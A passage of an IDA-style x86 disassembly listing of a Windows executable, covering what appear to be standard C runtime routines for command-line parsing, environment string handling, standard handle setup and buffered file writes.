		jnz	short loc_41BA43
		xor	ecx, ecx
		test	edx, edx
		setz	cl
		inc	eax
		mov	edx, ecx
		mov	cl, 22h
		jmp	short loc_41BA70
; ---------------------------------------------------------------------------


loc_41BA43:				; CODE XREF: sub_41BA0D+26j
		inc	dword ptr [esi]
		test	edi, edi
		jz	short loc_41BA4E
		mov	cl, [eax]
		mov	[edi], cl
		inc	edi


loc_41BA4E:				; CODE XREF: sub_41BA0D+3Aj
		mov	cl, [eax]
		movzx	ebx, cl
		inc	eax
		test	byte_47C741[ebx], 4
		jz	short loc_41BA69
		inc	dword ptr [esi]
		test	edi, edi
		jz	short loc_41BA68
		mov	bl, [eax]
		mov	[edi], bl
		inc	edi


loc_41BA68:				; CODE XREF: sub_41BA0D+54j
		inc	eax


loc_41BA69:				; CODE XREF: sub_41BA0D+4Ej
		test	cl, cl
		mov	ebx, [ebp+arg_4]
		jz	short loc_41BAA2


loc_41BA70:				; CODE XREF: sub_41BA0D+34j
		test	edx, edx
		jnz	short loc_41BA30
		cmp	cl, 20h
		jz	short loc_41BA7E
		cmp	cl, 9
		jnz	short loc_41BA30


loc_41BA7E:				; CODE XREF: sub_41BA0D+6Aj
		test	edi, edi
		jz	short loc_41BA86
		and	byte ptr [edi-1], 0


loc_41BA86:				; CODE XREF: sub_41BA0D+73j
					; sub_41BA0D+96j
		and	[ebp+var_4], 0


loc_41BA8A:				; CODE XREF: sub_41BA0D+157j
		cmp	byte ptr [eax],	0
		jz	loc_41BB69


loc_41BA93:				; CODE XREF: sub_41BA0D+93j
		mov	cl, [eax]
		cmp	cl, 20h
		jz	short loc_41BA9F
		cmp	cl, 9
		jnz	short loc_41BAA5


loc_41BA9F:				; CODE XREF: sub_41BA0D+8Bj
		inc	eax
		jmp	short loc_41BA93
; ---------------------------------------------------------------------------


loc_41BAA2:				; CODE XREF: sub_41BA0D+61j
		dec	eax
		jmp	short loc_41BA86
; ---------------------------------------------------------------------------


loc_41BAA5:				; CODE XREF: sub_41BA0D+90j
		cmp	byte ptr [eax],	0
		jz	loc_41BB69
		cmp	[ebp+arg_0], 0
		jz	short loc_41BABD
		mov	ecx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ecx], edi


loc_41BABD:				; CODE XREF: sub_41BA0D+A5j
		inc	dword ptr [ebx]


loc_41BABF:				; CODE XREF: sub_41BA0D+145j
		xor	ebx, ebx
		inc	ebx
		xor	edx, edx
		jmp	short loc_41BAC8
; ---------------------------------------------------------------------------


loc_41BAC6:				; CODE XREF: sub_41BA0D+BEj
		inc	eax
		inc	edx


loc_41BAC8:				; CODE XREF: sub_41BA0D+B7j
		cmp	byte ptr [eax],	5Ch
		jz	short loc_41BAC6
		cmp	byte ptr [eax],	22h
		jnz	short loc_41BAF8
		test	dl, 1
		jnz	short loc_41BAF6
		cmp	[ebp+var_4], 0
		jz	short loc_41BAE9
		lea	ecx, [eax+1]
		cmp	byte ptr [ecx],	22h
		jnz	short loc_41BAE9
		mov	eax, ecx
		jmp	short loc_41BAEB
; ---------------------------------------------------------------------------


loc_41BAE9:				; CODE XREF: sub_41BA0D+CEj
					; sub_41BA0D+D6j
		xor	ebx, ebx


loc_41BAEB:				; CODE XREF: sub_41BA0D+DAj
		xor	ecx, ecx
		cmp	[ebp+var_4], ecx
		setz	cl
		mov	[ebp+var_4], ecx


loc_41BAF6:				; CODE XREF: sub_41BA0D+C8j
		shr	edx, 1


loc_41BAF8:				; CODE XREF: sub_41BA0D+C3j
		test	edx, edx
		jz	short loc_41BB09


loc_41BAFC:				; CODE XREF: sub_41BA0D+FAj
		test	edi, edi
		jz	short loc_41BB04
		mov	byte ptr [edi],	5Ch
		inc	edi


loc_41BB04:				; CODE XREF: sub_41BA0D+F1j
		inc	dword ptr [esi]
		dec	edx
		jnz	short loc_41BAFC


loc_41BB09:				; CODE XREF: sub_41BA0D+EDj
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41BB57
		cmp	[ebp+var_4], 0
		jnz	short loc_41BB1F
		cmp	cl, 20h
		jz	short loc_41BB57
		cmp	cl, 9
		jz	short loc_41BB57


loc_41BB1F:				; CODE XREF: sub_41BA0D+106j
		test	ebx, ebx
		jz	short loc_41BB51
		test	edi, edi
		jz	short loc_41BB40
		movzx	edx, cl
		test	byte_47C741[edx], 4
		jz	short loc_41BB39
		mov	[edi], cl
		inc	edi
		inc	eax
		inc	dword ptr [esi]


loc_41BB39:				; CODE XREF: sub_41BA0D+124j
		mov	cl, [eax]
		mov	[edi], cl
		inc	edi
		jmp	short loc_41BB4F
; ---------------------------------------------------------------------------


loc_41BB40:				; CODE XREF: sub_41BA0D+118j
		movzx	ecx, cl
		test	byte_47C741[ecx], 4
		jz	short loc_41BB4F
		inc	eax
		inc	dword ptr [esi]


loc_41BB4F:				; CODE XREF: sub_41BA0D+131j
					; sub_41BA0D+13Dj
		inc	dword ptr [esi]


loc_41BB51:				; CODE XREF: sub_41BA0D+114j
		inc	eax
		jmp	loc_41BABF
; ---------------------------------------------------------------------------


loc_41BB57:				; CODE XREF: sub_41BA0D+100j
					; sub_41BA0D+10Bj ...
		test	edi, edi
		jz	short loc_41BB5F
		and	byte ptr [edi],	0
		inc	edi


loc_41BB5F:				; CODE XREF: sub_41BA0D+14Cj
		inc	dword ptr [esi]
		mov	ebx, [ebp+arg_4]
		jmp	loc_41BA8A
; ---------------------------------------------------------------------------


loc_41BB69:				; CODE XREF: sub_41BA0D+80j
					; sub_41BA0D+9Bj
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41BB73
		and	dword ptr [eax], 0


loc_41BB73:				; CODE XREF: sub_41BA0D+161j
		inc	dword ptr [ebx]
		pop	edi
		pop	ebx
		leave
		retn
sub_41BA0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB79	proc near		; CODE XREF: .text:00416403p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_47D9B4, edi
		jnz	short loc_41BB90
		call	sub_41B11D


loc_41BB90:				; CODE XREF: sub_41BB79+10j
		and	byte_47C47C, 0
		push	104h
		mov	esi, offset dword_47C378
		push	esi
		push	edi
		call	ds:dword_420010	; GetModuleFileNameA
		mov	eax, dword_47D9A4
		cmp	eax, edi
		mov	dword_47C1D4, esi
		jz	short loc_41BBBF
		cmp	byte ptr [eax],	0
		mov	ebx, eax
		jnz	short loc_41BBC1


loc_41BBBF:				; CODE XREF: sub_41BB79+3Dj
		mov	ebx, esi


loc_41BBC1:				; CODE XREF: sub_41BB79+44j
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		lea	esi, [ebp+var_8]
		xor	ecx, ecx
		mov	eax, ebx
		call	sub_41BA0D
		mov	esi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		shl	esi, 2
		add	eax, esi
		push	eax
		call	sub_414E7D
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_41BBF1
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BC16
; ---------------------------------------------------------------------------


loc_41BBF1:				; CODE XREF: sub_41BB79+71j
		lea	eax, [ebp+var_4]
		push	eax
		lea	ecx, [esi+edi]
		push	edi
		lea	esi, [ebp+var_8]
		mov	eax, ebx
		call	sub_41BA0D
		mov	eax, [ebp+var_4]
		dec	eax
		pop	ecx
		mov	dword_47C1B8, eax
		pop	ecx
		mov	dword_47C1BC, edi
		xor	eax, eax


loc_41BC16:				; CODE XREF: sub_41BB79+76j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BB79	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BC1B	proc near		; CODE XREF: .text:004163F9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_47C480
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, ds:dword_4201C8
		xor	ebx, ebx
		xor	esi, esi
		cmp	eax, ebx
		push	2
		pop	ebp
		jnz	short loc_41BC64
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41BC4B
		mov	dword_47C480, 1
		jmp	short loc_41BC69
; ---------------------------------------------------------------------------


loc_41BC4B:				; CODE XREF: sub_41BC1B+22j
		call	ds:dword_420008	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_41BC5F
		mov	eax, ebp
		mov	dword_47C480, eax
		jmp	short loc_41BC64
; ---------------------------------------------------------------------------


loc_41BC5F:				; CODE XREF: sub_41BC1B+39j
		mov	eax, dword_47C480


loc_41BC64:				; CODE XREF: sub_41BC1B+1Aj
					; sub_41BC1B+42j
		cmp	eax, 1
		jnz	short loc_41BCE6


loc_41BC69:				; CODE XREF: sub_41BC1B+2Ej
		cmp	esi, ebx
		jnz	short loc_41BC75
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41BCEE


loc_41BC75:				; CODE XREF: sub_41BC1B+50j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41BC8A


loc_41BC7C:				; CODE XREF: sub_41BC1B+66j
					; sub_41BC1B+6Dj
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_41BC7C
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_41BC7C


loc_41BC8A:				; CODE XREF: sub_41BC1B+5Fj
		mov	edi, ds:dword_4200D8
		push	ebx
		push	ebx
		push	ebx
		sub	eax, esi
		push	ebx
		sar	eax, 1
		inc	eax
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41BCDB
		push	ebp
		call	sub_414E7D
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41BCDB
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41BCD7
		push	[esp+18h+var_8]
		call	sub_414A14
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41BCD7:				; CODE XREF: sub_41BC1B+ACj
		mov	ebx, [esp+18h+var_8]


loc_41BCDB:				; CODE XREF: sub_41BC1B+8Cj
					; sub_41BC1B+9Bj
		push	esi
		call	ds:dword_4201C4	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41BD36
; ---------------------------------------------------------------------------


loc_41BCE6:				; CODE XREF: sub_41BC1B+4Cj
		cmp	eax, ebp
		jz	short loc_41BCF2
		cmp	eax, ebx
		jz	short loc_41BCF2


loc_41BCEE:				; CODE XREF: sub_41BC1B+58j
					; sub_41BC1B+E1j
		xor	eax, eax
		jmp	short loc_41BD36
; ---------------------------------------------------------------------------


loc_41BCF2:				; CODE XREF: sub_41BC1B+CDj
					; sub_41BC1B+D1j
		call	ds:dword_4201C0	; GetEnvironmentStringsA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41BCEE
		cmp	[esi], bl
		jz	short loc_41BD0C


loc_41BD02:				; CODE XREF: sub_41BC1B+EAj
					; sub_41BC1B+EFj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41BD02
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41BD02


loc_41BD0C:				; CODE XREF: sub_41BC1B+E5j
		sub	eax, esi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_414E7D
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		jnz	short loc_41BD22
		xor	edi, edi
		jmp	short loc_41BD2D
; ---------------------------------------------------------------------------


loc_41BD22:				; CODE XREF: sub_41BC1B+101j
		push	ebp
		push	esi
		push	edi
		call	sub_419140
		add	esp, 0Ch


loc_41BD2D:				; CODE XREF: sub_41BC1B+105j
		push	esi
		call	ds:dword_4201BC	; FreeEnvironmentStringsA
		mov	eax, edi


loc_41BD36:				; CODE XREF: sub_41BC1B+C9j
					; sub_41BC1B+D5j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41BC1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BD3D	proc near		; CODE XREF: .text:004163DDp

var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 48h
		push	ebx
		mov	ebx, 480h
		push	ebx
		call	sub_414E7D
		test	eax, eax
		pop	ecx
		jnz	short loc_41BD59
		or	eax, 0FFFFFFFFh
		jmp	loc_41BF36
; ---------------------------------------------------------------------------


loc_41BD59:				; CODE XREF: sub_41BD3D+12j
		mov	dword_47C620, eax
		mov	dword_47C618, 20h
		lea	ecx, [eax+480h]
		jmp	short loc_41BD8E
; ---------------------------------------------------------------------------


loc_41BD70:				; CODE XREF: sub_41BD3D+53j
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		and	dword ptr [eax+8], 0
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, dword_47C620
		add	eax, 24h
		add	ecx, 480h


loc_41BD8E:				; CODE XREF: sub_41BD3D+31j
		cmp	eax, ecx
		jb	short loc_41BD70
		push	ebp
		push	esi
		push	edi
		lea	eax, [esp+58h+var_44]
		push	eax
		call	ds:dword_420164	; GetStartupInfoA
		cmp	word ptr [esp+58h+var_14+2], 0
		jz	loc_41BE95
		mov	eax, [esp+58h+var_10]
		test	eax, eax
		jz	loc_41BE95
		mov	edi, [eax]
		lea	ebp, [eax+4]
		lea	eax, [edi+ebp]
		mov	[esp+58h+var_48], eax
		mov	eax, 800h
		cmp	edi, eax
		jl	short loc_41BDCF
		mov	edi, eax


loc_41BDCF:				; CODE XREF: sub_41BD3D+8Ej
		cmp	dword_47C618, edi
		jge	short loc_41BE25
		mov	esi, offset dword_47C624


loc_41BDDC:				; CODE XREF: sub_41BD3D+DEj
		push	ebx
		call	sub_414E7D
		test	eax, eax
		pop	ecx
		jz	short loc_41BE1F
		add	dword_47C618, 20h
		mov	[esi], eax
		lea	ecx, [eax+480h]
		jmp	short loc_41BE0E
; ---------------------------------------------------------------------------


loc_41BDF8:				; CODE XREF: sub_41BD3D+D3j
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		and	dword ptr [eax+8], 0
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [esi]
		add	eax, 24h
		add	ecx, ebx


loc_41BE0E:				; CODE XREF: sub_41BD3D+B9j
		cmp	eax, ecx
		jb	short loc_41BDF8
		add	esi, 4
		cmp	dword_47C618, edi
		jl	short loc_41BDDC
		jmp	short loc_41BE25
; ---------------------------------------------------------------------------


loc_41BE1F:				; CODE XREF: sub_41BD3D+A8j
		mov	edi, dword_47C618


loc_41BE25:				; CODE XREF: sub_41BD3D+98j
					; sub_41BD3D+E0j
		xor	ebx, ebx
		test	edi, edi
		jle	short loc_41BE95


loc_41BE2B:				; CODE XREF: sub_41BD3D+156j
		mov	eax, [esp+58h+var_48]
		mov	eax, [eax]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BE8A
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41BE8A
		test	cl, 8
		jnz	short loc_41BE4E
		push	eax
		call	ds:dword_4201D0	; GetFileType
		test	eax, eax
		jz	short loc_41BE8A


loc_41BE4E:				; CODE XREF: sub_41BD3D+104j
		mov	ecx, ebx
		mov	eax, ebx
		and	eax, 1Fh
		lea	eax, [eax+eax*8]
		sar	ecx, 5
		mov	ecx, dword_47C620[ecx*4]
		lea	esi, [ecx+eax*4]
		mov	eax, [esp+58h+var_48]
		mov	eax, [eax]
		mov	[esi], eax
		mov	al, [ebp+0]
		mov	[esi+4], al
		lea	eax, [esi+0Ch]
		push	0FA0h
		push	eax
		call	sub_41D188
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41BEB5
		inc	dword ptr [esi+8]


loc_41BE8A:				; CODE XREF: sub_41BD3D+F7j
					; sub_41BD3D+FFj ...
		add	[esp+58h+var_48], 4
		inc	ebx
		inc	ebp
		cmp	ebx, edi
		jl	short loc_41BE2B


loc_41BE95:				; CODE XREF: sub_41BD3D+69j
					; sub_41BD3D+75j ...
		xor	ebx, ebx


loc_41BE97:				; CODE XREF: sub_41BD3D+1E2j
		mov	ecx, dword_47C620
		lea	eax, [ebx+ebx*8]
		lea	esi, [ecx+eax*4]
		cmp	dword ptr [esi], 0FFFFFFFFh
		jnz	short loc_41BF17
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41BEBA
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41BEC4
; ---------------------------------------------------------------------------


loc_41BEB5:				; CODE XREF: sub_41BD3D+148j
					; sub_41BD3D+1CDj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BF33
; ---------------------------------------------------------------------------


loc_41BEBA:				; CODE XREF: sub_41BD3D+171j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41BEC4:				; CODE XREF: sub_41BD3D+176j
		push	eax
		call	ds:dword_4201B4	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41BF11
		push	edi
		call	ds:dword_4201D0	; GetFileType
		test	eax, eax
		jz	short loc_41BF11
		and	eax, 0FFh
		cmp	eax, 2
		mov	[esi], edi
		jnz	short loc_41BEEF
		or	byte ptr [esi+4], 40h
		jmp	short loc_41BEF8
; ---------------------------------------------------------------------------


loc_41BEEF:				; CODE XREF: sub_41BD3D+1AAj
		cmp	eax, 3
		jnz	short loc_41BEF8
		or	byte ptr [esi+4], 8


loc_41BEF8:				; CODE XREF: sub_41BD3D+1B0j
					; sub_41BD3D+1B5j
		lea	eax, [esi+0Ch]
		push	0FA0h
		push	eax
		call	sub_41D188
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41BEB5
		inc	dword ptr [esi+8]
		jmp	short loc_41BF1B
; ---------------------------------------------------------------------------


loc_41BF11:				; CODE XREF: sub_41BD3D+193j
					; sub_41BD3D+19Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41BF1B
; ---------------------------------------------------------------------------


loc_41BF17:				; CODE XREF: sub_41BD3D+169j
		or	byte ptr [esi+4], 80h


loc_41BF1B:				; CODE XREF: sub_41BD3D+1D2j
					; sub_41BD3D+1D8j
		inc	ebx
		cmp	ebx, 3
		jl	loc_41BE97
		push	dword_47C618
		call	ds:dword_4201CC	; SetHandleCount
		xor	eax, eax


loc_41BF33:				; CODE XREF: sub_41BD3D+17Bj
		pop	edi
		pop	esi
		pop	ebp


loc_41BF36:				; CODE XREF: sub_41BD3D+17j
		pop	ebx
		add	esp, 48h
		retn
sub_41BD3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BF3B	proc near		; CODE XREF: sub_41C0E0+52p
					; sub_41E66E+91p

var_420		= byte ptr -420h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+var_14], edi
		mov	[ebp+var_18], edi
		jnz	short loc_41BF64
		xor	eax, eax
		jmp	loc_41C0D2
; ---------------------------------------------------------------------------


loc_41BF64:				; CODE XREF: sub_41BF3B+20j
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_0]
		and	eax, 1Fh
		sar	ebx, 5
		push	esi
		lea	esi, [eax+eax*8]
		lea	ebx, ds:47C620h[ebx*4]
		mov	eax, [ebx]
		shl	esi, 2
		test	byte ptr [eax+esi+4], 20h
		jz	short loc_41BF97
		push	2
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_41E58E
		add	esp, 10h


loc_41BF97:				; CODE XREF: sub_41BF3B+4Bj
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41C069
		cmp	[ebp+arg_8], edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_10], eax
		mov	[ebp+var_8], edi
		jbe	loc_41C0A4


loc_41BFB7:				; CODE XREF: sub_41BF3B+F3j
		mov	ecx, [ebp+var_10]
		sub	ecx, [ebp+arg_4]
		lea	eax, [ebp+var_420]
		mov	[ebp+var_C], edi


loc_41BFC6:				; CODE XREF: sub_41BF3B+B5j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BFF2
		mov	edx, [ebp+var_10]
		inc	[ebp+var_10]
		mov	dl, [edx]
		inc	ecx
		cmp	dl, 0Ah
		jnz	short loc_41BFE3
		inc	[ebp+var_18]
		mov	byte ptr [eax],	0Dh
		inc	eax
		inc	[ebp+var_C]


loc_41BFE3:				; CODE XREF: sub_41BF3B+9Cj
		mov	[eax], dl
		inc	eax
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 400h
		jl	short loc_41BFC6


loc_41BFF2:				; CODE XREF: sub_41BF3B+8Ej
		mov	edi, eax
		lea	eax, [ebp+var_420]
		sub	edi, eax
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		lea	eax, [ebp+var_420]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:dword_420040	; WriteFile
		test	eax, eax
		jz	short loc_41C032
		mov	eax, [ebp+var_1C]
		add	[ebp+var_14], eax
		cmp	eax, edi
		jl	short loc_41C03B
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_4]
		xor	edi, edi
		cmp	eax, [ebp+arg_8]
		jb	short loc_41BFB7
		jmp	short loc_41C03D
; ---------------------------------------------------------------------------


loc_41C032:				; CODE XREF: sub_41BF3B+DCj
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax


loc_41C03B:				; CODE XREF: sub_41BF3B+E6j
		xor	edi, edi


loc_41C03D:				; CODE XREF: sub_41BF3B+F5j
					; sub_41BF3B+14Ej ...
		mov	eax, [ebp+var_14]
		cmp	eax, edi
		jnz	loc_41C0CD
		cmp	[ebp+var_8], edi
		jz	short loc_41C0A4
		push	5
		pop	esi
		cmp	[ebp+var_8], esi
		jnz	short loc_41C096
		call	sub_419600
		mov	dword ptr [eax], 9
		call	sub_419609
		mov	[eax], esi
		jmp	short loc_41C09F
; ---------------------------------------------------------------------------


loc_41C069:				; CODE XREF: sub_41BF3B+64j
		push	edi
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	ds:dword_420040	; WriteFile
		test	eax, eax
		jz	short loc_41C08B
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_8], edi
		mov	[ebp+var_14], eax
		jmp	short loc_41C03D
; ---------------------------------------------------------------------------


loc_41C08B:				; CODE XREF: sub_41BF3B+143j
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax
		jmp	short loc_41C03D
; ---------------------------------------------------------------------------


loc_41C096:				; CODE XREF: sub_41BF3B+118j
		push	[ebp+var_8]
		call	sub_419612
		pop	ecx


loc_41C09F:				; CODE XREF: sub_41BF3B+12Cj
					; sub_41BF3B+190j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41C0D0
; ---------------------------------------------------------------------------


loc_41C0A4:				; CODE XREF: sub_41BF3B+76j
					; sub_41BF3B+110j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41C0B9
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jnz	short loc_41C0B9
		xor	eax, eax
		jmp	short loc_41C0D0
; ---------------------------------------------------------------------------


loc_41C0B9:				; CODE XREF: sub_41BF3B+170j
					; sub_41BF3B+178j
		call	sub_419600
		mov	dword ptr [eax], 1Ch
		call	sub_419609
		mov	[eax], edi
		jmp	short loc_41C09F
; ---------------------------------------------------------------------------


loc_41C0CD:				; CODE XREF: sub_41BF3B+107j
		sub	eax, [ebp+var_18]


loc_41C0D0:				; CODE XREF: sub_41BF3B+167j
					; sub_41BF3B+17Cj
		pop	esi
		pop	ebx


loc_41C0D2:				; CODE XREF: sub_41BF3B+24j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		call	sub_41A1F6
		leave
		retn
sub_41BF3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0E0	proc near		; CODE XREF: sub_4164BB+98p
					; sub_4164BB+EBp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0041C16F SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_429930
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_47C618
		jnb	short loc_41C16F
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:47C620h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41C16F
		push	ebx
		call	sub_41CD5C
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41C13F
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_41BF3B
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_41C156
; ---------------------------------------------------------------------------


loc_41C13F:				; CODE XREF: sub_41C0E0+49j
		call	sub_419600
		mov	dword ptr [eax], 9
		call	sub_419609
		and	dword ptr [eax], 0
		or	[ebp+var_1C], 0FFFFFFFFh


loc_41C156:				; CODE XREF: sub_41C0E0+5Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41C167
		mov	eax, [ebp+var_1C]
		jmp	short loc_41C185
sub_41C0E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C164	proc near		; DATA XREF: .rdata:stru_429930o
		mov	ebx, [ebp+8]
sub_41C164	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C167	proc near		; CODE XREF: sub_41C0E0+7Ap
		push	ebx
		call	sub_41CDCF
		pop	ecx
		retn
sub_41C167	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C0E0


loc_41C16F:				; CODE XREF: sub_41C0E0+15j
					; sub_41C0E0+35j
		call	sub_419600
		mov	dword ptr [eax], 9
		call	sub_419609
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_41C185:				; CODE XREF: sub_41C0E0+82j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41C0E0

; =============== S U B	R O U T	I N E =======================================



sub_41C18B	proc near		; CODE XREF: sub_4164BB+6Fp
					; sub_418DD9+34p ...

arg_0		= dword	ptr  4

		inc	dword_47C200
		push	1000h
		call	sub_414E7D
		test	eax, eax
		pop	ecx
		mov	ecx, [esp+arg_0]
		mov	[ecx+8], eax
		jz	short loc_41C1B4
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41C1C5
; ---------------------------------------------------------------------------


loc_41C1B4:				; CODE XREF: sub_41C18B+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41C1C5:				; CODE XREF: sub_41C18B+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41C18B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1CF	proc near		; CODE XREF: sub_4164BB+64p
					; sub_41AB2C+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_47C618
		jb	short loc_41C1DE
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C1DE:				; CODE XREF: sub_41C1CF+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_47C620[ecx*4]
		lea	eax, [eax+eax*8]
		movsx	eax, byte ptr [ecx+eax*4+4]
		and	eax, 40h
		retn
sub_41C1CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C1F9	proc near		; CODE XREF: sub_41C259+1Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jnz	short loc_41C20A
		xor	eax, eax
		jmp	short loc_41C256
; ---------------------------------------------------------------------------


loc_41C20A:				; CODE XREF: sub_41C1F9+Bj
		mov	eax, [ebp+arg_0]
		cmp	[eax+14h], esi
		jnz	short loc_41C223
		mov	ax, [ebp+arg_8]
		cmp	ax, 0FFh
		ja	short loc_41C248
		mov	[ecx], al
		xor	eax, eax
		inc	eax
		jmp	short loc_41C256
; ---------------------------------------------------------------------------


loc_41C223:				; CODE XREF: sub_41C1F9+17j
		lea	edx, [ebp+arg_4]
		push	edx
		push	esi
		push	dword ptr [eax+28h]
		mov	[ebp+arg_4], esi
